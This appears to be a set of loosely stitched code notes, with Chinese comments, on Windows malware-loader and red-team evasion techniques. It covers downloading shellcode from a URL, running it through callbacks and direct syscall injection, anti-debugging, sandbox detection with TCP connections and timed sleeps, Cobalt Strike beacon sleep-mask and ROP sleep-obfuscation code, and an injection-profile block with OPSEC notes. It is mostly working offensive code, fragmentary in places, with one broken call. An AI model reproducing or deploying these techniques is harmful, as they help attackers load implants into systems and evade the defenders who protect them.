std::vector<unsigned char> DownloadShellcode(const char* url) {
    std::vector<unsigned char> shellcode;
    HINTERNET hInternet = InternetOpenA("MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet) {
        HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_KEEP_CONNECTION, 0);
        if (hUrl) {
            DWORD bytesRead = 0;
            const DWORD bufferSize = 4096;
            BYTE buffer[bufferSize];
            while (InternetReadFile(hUrl, buffer, bufferSize, &bytesRead) && bytesRead != 0) {
                shellcode.insert(shellcode.end(), buffer, buffer + bytesRead);
            }
            InternetCloseHandle(hUrl);
        }
        InternetCloseHandle(hInternet);
    }
    return shellcode;
}

07 00000054`5532fa40 00007ff8`9a76af38 KERNEL32!BaseThreadInitThunk+0x1d
08 00000054`5532fa70 00000000`00000000 ntdll!RtlUserThreadStart+0x28

0:000> k
 # Child-SP          RetAddr           Call Site
00 00000054`5532f7d8 00007ff8`97a3a5f8 ntdll!NtAllocateVirtualMemory
01 00000054`5532f7e0 00007ff6`c39d1639 KERNELBASE!VirtualAlloc+0x48
02 00000054`5532f820 00007ff6`c39e31f9 callback!main+0x99 
03 00000054`5532f920 00007ff6`c39e3332 callback!invoke_main+0x39 
04 00000054`5532f970 00007ff6`c39e33be callback!__scrt_common_main_seh+0x132 
05 00000054`5532f9e0 00007ff6`c39e33de callback!__scrt_common_main+0xe
06 00000054`5532fa10 00007ff8`98f1259d callback!mainCRTStartup+0xe

ntdll!NtAllocateVirtualMemory:
00007ff8`9a7b04c0 4c8bd1          mov     r10,rcx
00007ff8`9a7b04c3 b818000000      mov     eax,18h
00007ff8`9a7b04c8 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ff8`9a7b04d0 7503            jne     ntdll!NtAllocateVirtualMemory+0x15 (00007ff8`9a7b04d5)
00007ff8`9a7b04d2 0f05            syscall
00007ff8`9a7b04d4 c3              ret
00007ff8`9a7b04d5 cd2e            int     2Eh
00007ff8`9a7b04d7 c3              ret
00007ff8`9a7b04d8 0f1f840000000000 nop     dword ptr [rax+rax]

EnumChildWindows(NULL, (WNDENUMPROC)Address, NULL)

bool CreateAndTriggerEvent(PTP_WAIT_CALLBACK WaitCallback) {
    // 创建事件对象
    HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    if (hEvent == NULL) {
        //std::cerr << "Failed to create event." << std::endl;
        return false;
    }

    // 创建线程池等待对象
    PTP_WAIT wait = CreateThreadpoolWait(WaitCallback, NULL, NULL);
    if (wait == NULL) {
        //std::cerr << "Failed to create wait object." << std::endl;
        CloseHandle(hEvent);
        return false;
    }

    // 将事件关联到线程池等待对象
    SetThreadpoolWait(wait, hEvent, NULL);

    // 模拟触发事件
    if (!SetEvent(hEvent)) {
        //std::cerr << "Failed to set event." << std::endl;
        CloseThreadpoolWait(wait);
        CloseHandle(hEvent);
        return false;
    }

    // 进入无限等待，确保shellcode的线程不会执行完就退出
    WaitForSingleObject(GetCurrentProcess(), INFINITE);

    // 清理资源
    //CloseThreadpoolWait(wait);
    //CloseHandle(hEvent);
    return true;
}
//触发这个回调函数
CreateAndTriggerEvent((PTP_WAIT_CALLBACK)Address);

python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread -o apcsyscall -v

std::tuple<BOOL, PVOID> syscallInject(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
    SIZE_T sNumberOfBytesWritten = NULL;
    PVOID pAddress = nullptr;
    NTSTATUS STATUS1 =  Sw3NtAllocateVirtualMemory(hProcess,&pAddress, NULL, &sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (STATUS1 != 0) {
        std::cout << "Windows Error code is " << GetLastError() << std::endl;
        return std::make_tuple(FALSE, nullptr);
    }
    if (pAddress == NULL) {
        std::cout << "Windows Error code is " << GetLastError() << std::endl;
        return std::make_tuple(FALSE, nullptr);
    }
    NTSTATUS STATUS2 = Sw3NtWriteVirtualMemory(hProcess, pAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten);
    if (STATUS2 != 0) {
        std::cout << "Windows Error code is " << GetLastError() << std::endl;
        return std::make_tuple(FALSE, nullptr);
    }
    DWORD dwOldProtection = NULL;
    NTSTATUS STATUS3 = Sw3NtProtectVirtualMemory(hProcess, &pAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection);
    if (STATUS3 != 0) {
        std::cout << "Windows Error code is " << GetLastError() << std::endl;
        return std::make_tuple(FALSE, nullptr);
    }
    return std::make_tuple(TRUE, pAddress);
}

#include <iostream>
#include <Windows.h>

BOOL isDebugged = TRUE;

LONG WINAPI CustomUnhandledExceptionFilter(PEXCEPTION_POINTERS pExceptionPointers)
{
    isDebugged = FALSE;
    return EXCEPTION_CONTINUE_EXECUTION;
}

int main()
{
    PTOP_LEVEL_EXCEPTION_FILTER previousUnhandledExceptionFilter = SetUnhandledExceptionFilter(CustomUnhandledExceptionFilter);
    RaiseException(EXCEPTION_FLT_DIVIDE_BY_ZERO, 0, 0, NULL);
    SetUnhandledExceptionFilter(previousUnhandledExceptionFilter);
    if (isDebugged) {
        exit(0);
    }
    std::cout << "Now IS TIME TO REAL FUNN " << '\n';
}

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <iostream>
#include <memory>
#include <string>
#include <winsock2.h>
#include <ws2tcpip.h>

#pragma comment(lib, "Ws2_32.lib")

class WinsockInit {
public:
    WinsockInit() {
        if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
            throw std::runtime_error("Error: WSAStartup failed");
        }
    }

    ~WinsockInit() {
        WSACleanup();
    }

private:
    WSADATA wsaData;
};

class Socket {
public:
    Socket() : sockfd(socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) {
        if (sockfd == INVALID_SOCKET) {
            throw std::runtime_error("Error: Could not create socket");
        }
    }

    ~Socket() {
        if (sockfd != INVALID_SOCKET) {
            closesocket(sockfd);
        }
    }

    SOCKET get() const { return sockfd; }

private:
    SOCKET sockfd;
};

int hello_tcp(const std::string& ip, int port) {
    try {
        WinsockInit winsockInit;
        Socket socket;

        sockaddr_in server_addr = {};
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(port);
        server_addr.sin_addr.s_addr = inet_addr(ip.c_str());

        // 连接到服务器
        if (connect(socket.get(), reinterpret_cast<struct sockaddr*>(&server_addr), sizeof(server_addr)) == SOCKET_ERROR) {
            throw std::runtime_error("Error: Connect failed with error code " + std::to_string(WSAGetLastError()));
        }

        std::cout << "Connected to server\n";
        return 0;

    }
    catch (const std::exception& ex) {
        std::cerr << ex.what() << std::endl;
        return 1;
    }
}

hello_tcp("127.0.0.1", 9999); //发起第一个TCP握手

Sleep(60000);  //假设沙箱hook时间，时间会归0，但是我们服务器的休眠它无法控制

hello_tcp("127.0.0.1", 9999); // 休眠结束，根据tcp开放的情况来判断是否是沙箱

import socket
import time
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading
import sys

def tcp_con(sleep=bool):
     # 创建一个TCP/IP套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 绑定到指定端口
    server_address = ('0.0.0.0', 9999)
    print('Starting up on {} port {}'.format(*server_address))
    sock.bind(server_address)

    # 开始监听连接
    sock.listen(1)

    print('Waiting for a connection...')
    connection, client_address = sock.accept()
    print('Connection from', client_address)

    connection.close()
    #反沙箱睡眠600秒，后面开启http服务 
    if(sleep):
        print('ok , tcp done and will go to sleep')
        time.sleep(600)
        print('ok , sleep done')

    return 0

/******** DO NOT MODIFY FILE START  ********/

/*
 *  beacon_ptr   - pointer to beacon's base address
 *  sections     - list of memory sections beacon wants to mask.
 *                 A section is denoted by a pair indicating the start and end index locations.
 *                 The list is terminated by the start and end locations of 0 and 0.
 *  heap_records - list of memory addresses on the heap beacon wants to mask.
 *                 The list is terminated by the HEAP_RECORD.ptr set to NULL.
 *  mask         - the mask that beacon randomly generated to apply
 */
typedef struct {
   char  * beacon_ptr;
   DWORD * sections;
   HEAP_RECORD * heap_records;
   char    mask[MASK_SIZE];
} SLEEPMASKP;

/******** DO NOT MODIFY FILE END  ********/

/* Mask a beacon section
 *   First call will mask
 *   Second call will unmask
 */
void mask_section(SLEEPMASKP * parms, DWORD a, DWORD b) {
   while (a < b) {
      *(parms->beacon_ptr + a) ^= parms->mask[a % MASK_SIZE];
      a++;
   }
}

/* Mask the beacons sections
 *   First call will mask
 *   Second call will unmask
 */
void mask_sections(SLEEPMASKP * parms) {
   DWORD * index;
   DWORD a, b;

   /* walk our sections and mask them */
   index = parms->sections;
   while (TRUE) {
      a = *index; b = *(index + 1);
      index += 2;
      if (a == 0 && b == 0)
         break;

      mask_section(parms, a, b);
   }
}

/* Mask the heap memory allocated by beacon
 *   First call will mask
 *   Second call will unmask
 */
void mask_heap(SLEEPMASKP * parms) {
   DWORD a, b;

   /* mask the heap records */
   a = 0;
   while (parms->heap_records[a].ptr != NULL) {
      for (b = 0; b < parms->heap_records[a].size; b++) {
         parms->heap_records[a].ptr[b] ^= parms->mask[b % MASK_SIZE];
      }
      a++;
   }
}

void mask_text_section(SLEEPMASKP * parms) {
   if (text_section.mask) {
#if USE_SYSCALLS
      SIZE_T size = text_section.end - text_section.start;
      PVOID ptr = (PVOID) (parms->beacon_ptr + text_section.start);

      if (0 != NtProtectVirtualMemory(GetCurrentProcess(), (PVOID) &ptr, &size, PAGE_READWRITE, &text_section.old)) {
         text_section.mask = 0;
         return;
      }
#else
      if (!VirtualProtect(parms->beacon_ptr + text_section.start, text_section.end - text_section.start, PAGE_READWRITE, &text_section.old)) {
          text_section.mask = 0;
          return;
      }
#endif

      mask_section(parms, text_section.start, text_section.end);
   }
}

void unmask_text_section(SLEEPMASKP * parms) {
   if (text_section.mask) {
      mask_section(parms, text_section.start, text_section.end);

#if USE_SYSCALLS
      SIZE_T size = text_section.end - text_section.start;
      PVOID ptr = (PVOID) (parms->beacon_ptr + text_section.start);
      NtProtectVirtualMemory(GetCurrentProcess(), (PVOID) &ptr, &size, text_section.old, &text_section.old);
#else
      VirtualProtect(parms->beacon_ptr + text_section.start, text_section.end - text_section.start, text_section.old, &text_section.old);
#endif
   }
}

BOOL CreateTimerQueueTimer(
  [out]          PHANDLE             phNewTimer,
  [in, optional] HANDLE              TimerQueue,
  [in]           WAITORTIMERCALLBACK Callback,
  [in, optional] PVOID               Parameter,
  [in]           DWORD               DueTime,
  [in]           DWORD               Period,
  [in]           ULONG               Flags
);

NTSYSAPI 
NTSTATUS 
NTAPI 
NtContinue(
    IN PCONTEXT ThreadContext, 
    IN BOOLEAN RaiseAlert
);

CONTEXT RopProtRW = { 0 };
memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));

         // VirtualProtect( ImageBase, ImageTextSize, PAGE_READWRITE, &OldProtect );
        RopProtRW.Rsp -= 8;
        RopProtRW.Rip = (DWORD_PTR) VirtualProtect;
        RopProtRW.Rcx = (DWORD_PTR) ImageBase;
        RopProtRW.Rdx = ImageTextSize;
        RopProtRW.R8 = PAGE_READWRITE;
        RopProtRW.R9 = (DWORD_PTR) &OldProtect;

CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) NtContinue, &RopProtRW, , 0, WT_EXECUTEINTIMERTHREAD);

NTSTATUS SystemFunction032
 (
  struct ustring*       data,
  const struct ustring* key
 )

execute {

        # The order is important! Each step will be attempted (if applicable) until successful
        ## self-injection
        CreateThread "ntdll!RtlUserThreadStart+0x42";
        CreateThread;

        ## Injection via suspened processes (SetThreadContext|NtQueueApcThread-s)
        # OPSEC - when you use SetThreadContext; your thread will have a start address that reflects the original execution entry point of the temporary process.
        # SetThreadContext;
        NtQueueApcThread-s;

        ## Injection into existing processes
        # OPSEC Uses RWX stub - Detected by Get-InjectedThread. Less detected by some defensive products.
        #NtQueueApcThread; 

        # CreateRemotThread - Vanilla cross process injection technique. Doesn't cross session boundaries
        # OPSEC - fires Sysmon Event 8
        CreateRemoteThread;

        # RtlCreateUserThread - Supports all architecture dependent corner cases (e.g., 32bit -> 64bit injection) AND injection across session boundaries
        # OPSEC - fires Sysmon Event 8. Uses Meterpreter implementation and RWX stub - Detected by Get-InjectedThread
        RtlCreateUserThread; 
    }